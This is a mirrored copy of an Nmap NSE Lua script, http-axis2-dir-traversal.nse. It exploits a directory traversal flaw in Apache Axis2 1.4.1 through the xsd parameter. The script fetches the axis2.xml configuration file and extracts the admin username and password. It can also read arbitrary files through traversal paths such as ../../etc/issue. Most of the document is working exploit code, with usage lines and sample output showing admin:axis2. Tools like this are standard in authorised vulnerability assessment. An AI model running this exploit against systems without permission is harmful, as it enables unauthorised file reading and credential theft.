1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-07 13:11:28 +00:00
Files
nmap/scripts/http-axis2-dir-traversal.nse
dmiller 31bc2847bd Normalize script author fields
Clean up some typos and differences. Most have been normalized to
whatever form of the name occurred in the largest number of scripts.
Paulino was contacted directly and requested his email be added to all
of his credits.
2013-09-20 18:56:22 +00:00

193 lines
7.0 KiB
Lua

local creds = require "creds"
local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
description = [[
Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by sending a specially crafted request to the parameter <code>xsd</code> (OSVDB-59001). By default it will try to retrieve the configuration file of the Axis2 service <code>'/conf/axis2.xml'</code> using the path <code>'/axis2/services/'</code> to return the username and password of the admin account.
To exploit this vulnerability we need to detect a valid service running on the installation so we extract it from <code>/listServices</code> before exploiting the directory traversal vulnerability.
By default it will retrieve the configuration file, if you wish to retrieve other files you need to set the argument <code>http-axis2-dir-traversal.file</code> correctly to traverse to the file's directory. Ex. <code>../../../../../../../../../etc/issue</code>
To check the version of an Apache Axis2 installation go to:
http://domain/axis2/services/Version/getVersion
Reference:
* http://osvdb.org/show/osvdb/59001
* http://www.exploit-db.com/exploits/12721/
]]
---
-- @usage
-- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' <host/ip>
-- nmap -p80 --script http-axis2-dir-traversal <host/ip>
--
-- @output
-- 80/tcp open http syn-ack
-- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2
--
-- @args http-axis2-dir-traversal.file Remote file to retrieve
-- @args http-axis2-dir-traversal.outfile Output file
-- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: <code>/axis2/services/</code>
--
-- Other useful arguments for this script:
-- @args http.useragent User Agent used in the GET requests
---
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
portrule = shortport.http
--Default configuration values
local DEFAULT_FILE = "../conf/axis2.xml"
local DEFAULT_PATH = "/axis2/services/"
---
--Checks the given URI looks like an Apache Axis2 installation
-- @param host Host table
-- @param port Port table
-- @param path Apache Axis2 Basepath
-- @return True if the string "Available services" is found
local function check_installation(host, port, path)
local req = http.get(host, port, path)
if req.status == 200 and http.response_contains(req, "Available services") then
return true
end
return false
end
---
-- Returns a table with all the available services extracted
-- from the services list page
-- @param body Services list page body
-- @return Table containing the names and paths of the available services
local function get_available_services(body)
local services = {}
for service in string.gmatch(body, '<h4>Service%sDescription%s:%s<font%scolor="black">(.-)</font></h4>') do
table.insert(services, service)
end
return services
end
---
--Writes string to file
--Taken from: hostmap.nse
-- @param filename Filename to write
-- @param contents Content of file
-- @return True if file was written successfully
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
-- Extracts Axis2's credentials from the configuration file
-- It also adds them to the credentials library.
-- @param body Configuration file string
-- @return true if credentials are found
-- @return Credentials or error string
---
local function extract_credentials(host, port, body)
local _,_,user = string.find(body, '<parameter name="userName">(.-)</parameter>')
local _,_,pass = string.find(body, '<parameter name="password">(.-)</parameter>')
if user and pass then
local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port )
cred_obj:add(user, pass, creds.State.VALID )
return true, string.format("Admin credentials found -> %s:%s", user, pass)
end
return false, "Credentials were not found."
end
action = function(host, port)
local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile")
local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE
local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH
local selected_service, output
--check this is an axis2 installation
if not(check_installation(host, port, basepath.."listServices")) then
stdnse.print_debug(1, "%s: This does not look like an Apache Axis2 installation.", SCRIPT_NAME)
return
end
output = {}
--process list of available services
local req = http.get( host, port, basepath.."listServices")
local services = get_available_services(req.body)
--generate debug info for services and select first one to be used in the request
if #services > 0 then
for _, servname in pairs(services) do
stdnse.print_debug(1, "%s: Service found: %s", SCRIPT_NAME, servname)
end
selected_service = services[1]
else
if nmap.verbosity() >= 2 then
stdnse.print_debug(1, "%s: There are no services available. We can't exploit this", SCRIPT_NAME)
end
return
end
--Use selected service and exploit
stdnse.print_debug(1, "%s: Querying service: %s", SCRIPT_NAME, selected_service)
req = http.get(host, port, basepath..selected_service.."?xsd="..rfile)
stdnse.print_debug(2, "%s: Query -> %s", SCRIPT_NAME, basepath..selected_service.."?xsd="..rfile)
--response came back
if req.status and req.status == 200 then
--if body is empty something wrong could have happened...
if string.len(req.body) <= 0 then
if nmap.verbosity() >= 2 then
stdnse.print_debug(1, "%s:Response was empty. The file does not exists or the web server does not have sufficient permissions", SCRIPT_NAME)
end
return
end
output[#output+1] = "\nApache Axis2 Directory Traversal (OSVDB-59001)"
--Retrieve file or only show credentials if downloading the configuration file
if rfile ~= DEFAULT_FILE then
output[#output+1] = req.body
else
--try to extract credentials
local extract_st, extract_msg = extract_credentials(host, port, req.body)
if extract_st then
output[#output+1] = extract_msg
else
stdnse.print_debug(1, "%s: Credentials not found in configuration file", SCRIPT_NAME)
end
end
--save to file if selected
if outfile then
local status, err = write_file(outfile, req.body)
if status then
output[#output+1] = string.format("%s saved to %s\n", rfile, outfile)
else
output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err)
end
end
else
stdnse.print_debug(1, "%s: Request did not return status 200. File might not be found or unreadable", SCRIPT_NAME)
return
end
if #output > 0 then
return stdnse.strjoin("\n", output)
end
end